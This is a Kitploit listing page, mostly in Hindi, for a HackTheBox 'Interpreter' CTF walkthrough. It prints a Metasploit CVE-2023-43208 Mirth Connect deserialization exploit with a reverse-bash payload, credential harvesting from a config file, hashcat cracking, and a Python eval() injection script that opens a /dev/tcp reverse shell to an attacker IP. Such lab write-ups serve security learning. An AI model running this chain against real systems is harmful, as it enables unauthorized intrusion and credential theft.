Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Interpreter-HackTheBox — HackTheBox Interpreter walkthrough: CVE-2023-43208 Mirth Connect deserialization RCE, PBKDF2 hash cracking, और root तक privilege escalation के लिए eval() injection। | Kitploit
उपकरण/GitHubGitHub/ledksv/interpreter-hackthebox
पासवर्ड क्रैकिंगविशेषाधिकार वृद्धिटोहीभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपोस्ट-शोषणCTFपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubledksv/interpreter-hackthebox

Interpreter-HackTheBox

3 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

HackTheBox Interpreter walkthrough: CVE-2023-43208 Mirth Connect deserialization RCE, PBKDF2 hash cracking, और root तक privilege escalation के लिए eval() injection।

रिपॉजिटरी देखें

Interpreter — HackTheBox

प्लेटफ़ॉर्म: HackTheBox OS: Linux स्थिति: Retired — पूरा walkthrough प्रकाशित।

पूरा walkthrough: l3dsec.com/walkthroughs/interpreter-htb


Attack Chain

root@kitploit:~
Nmap → Mirth Connect 4.4.0 (80/443)
  → CVE-2023-43208 unauthenticated Java deserialization RCE
    → Shell as mirth
      → mirth.properties → MySQL credentials
        → MySQL → sedric PBKDF2 hash → hashcat → SSH → USER FLAG
          → notif.py running as root on 127.0.0.1:54321
            → eval() injection via XML POST → ROOT SHELL → ROOT FLAG

1. Enumeration

root@kitploit:~
nmap -sV -sC <TARGET_IP> -Pn
root@kitploit:~
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.2p1 (Debian)
80/tcp  open  http    Jetty (Mirth Connect)
443/tcp open  ssl     Jetty SSL (Mirth Connect)

Mirth के REST API के माध्यम से version fingerprint:

root@kitploit:~
curl -sk https://<TARGET_IP>/api/server/version -H "X-Requested-With: XMLHttpRequest"
# Returns: 4.4.0

2. Initial Foothold — CVE-2023-43208

Mirth Connect 4.4.0 Java deserialization के माध्यम से unauthenticated RCE के प्रति vulnerable है:

root@kitploit:~
use exploit/multi/http/mirth_connect_cve_2023_43208
set RHOSTS <TARGET_IP>
set RPORT 443
set LHOST <ATTACKER_IP>
set FETCH_WRITABLE_DIR /tmp
set payload cmd/unix/reverse_bash
exploit

mirth के रूप में shell।


3. Credential Harvesting

root@kitploit:~
find / -name "mirth.properties" 2>/dev/null
# /usr/local/mirthconnect/conf/mirth.properties
# database.username = mirthdb
# database.password = <redacted>
# database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod

mysql -u mirthdb -p'<db_password>' mc_bdd_prod

MySQL enumeration से उपयोगकर्ता sedric का PBKDF2 hash और एक HL7 channel का पता चलता है जो XML को http://127.0.0.1:54321/addPatient पर forward करता है।


4. User Flag — Hash Cracking

root@kitploit:~
hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt

Hash crack हो गया। sedric के रूप में SSH करें, /home/sedric/user.txt पढ़ें।


5. Privilege Escalation — eval() Injection

notif.py root के रूप में चलता है और 127.0.0.1:54321/addPatient पर listen करता है — वही endpoint जिस पर Mirth XML forward करता है। यह firstname XML field को सीधे Python के eval() में pass करता है।

mirth shell से payload:

root@kitploit:~
import urllib.request, base64
from urllib.request import Request

cmd = "bash -i >& /dev/tcp/<ATTACKER_IP>/9004 0>&1"
b64 = base64.b64encode(cmd.encode()).decode()
inj = f"{{exec(__import__('base64').b64decode('{b64}').decode())}}"
xml = f"<patient><firstname>{inj}</firstname><lastname>x</lastname></patient>"

req = Request(
    "http://127.0.0.1:54321/addPatient",
    data=xml.encode(),
    headers={"Content-Type": "application/xml"}
)
urllib.request.urlopen(req)

Listener पर root shell प्राप्त हुआ।


Flags

FlagValue
Userredacted
Rootredacted

केवल शैक्षिक उद्देश्यों के लिए। केवल उन्हीं सिस्टमों का परीक्षण करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।

टूल डाउनलोड करें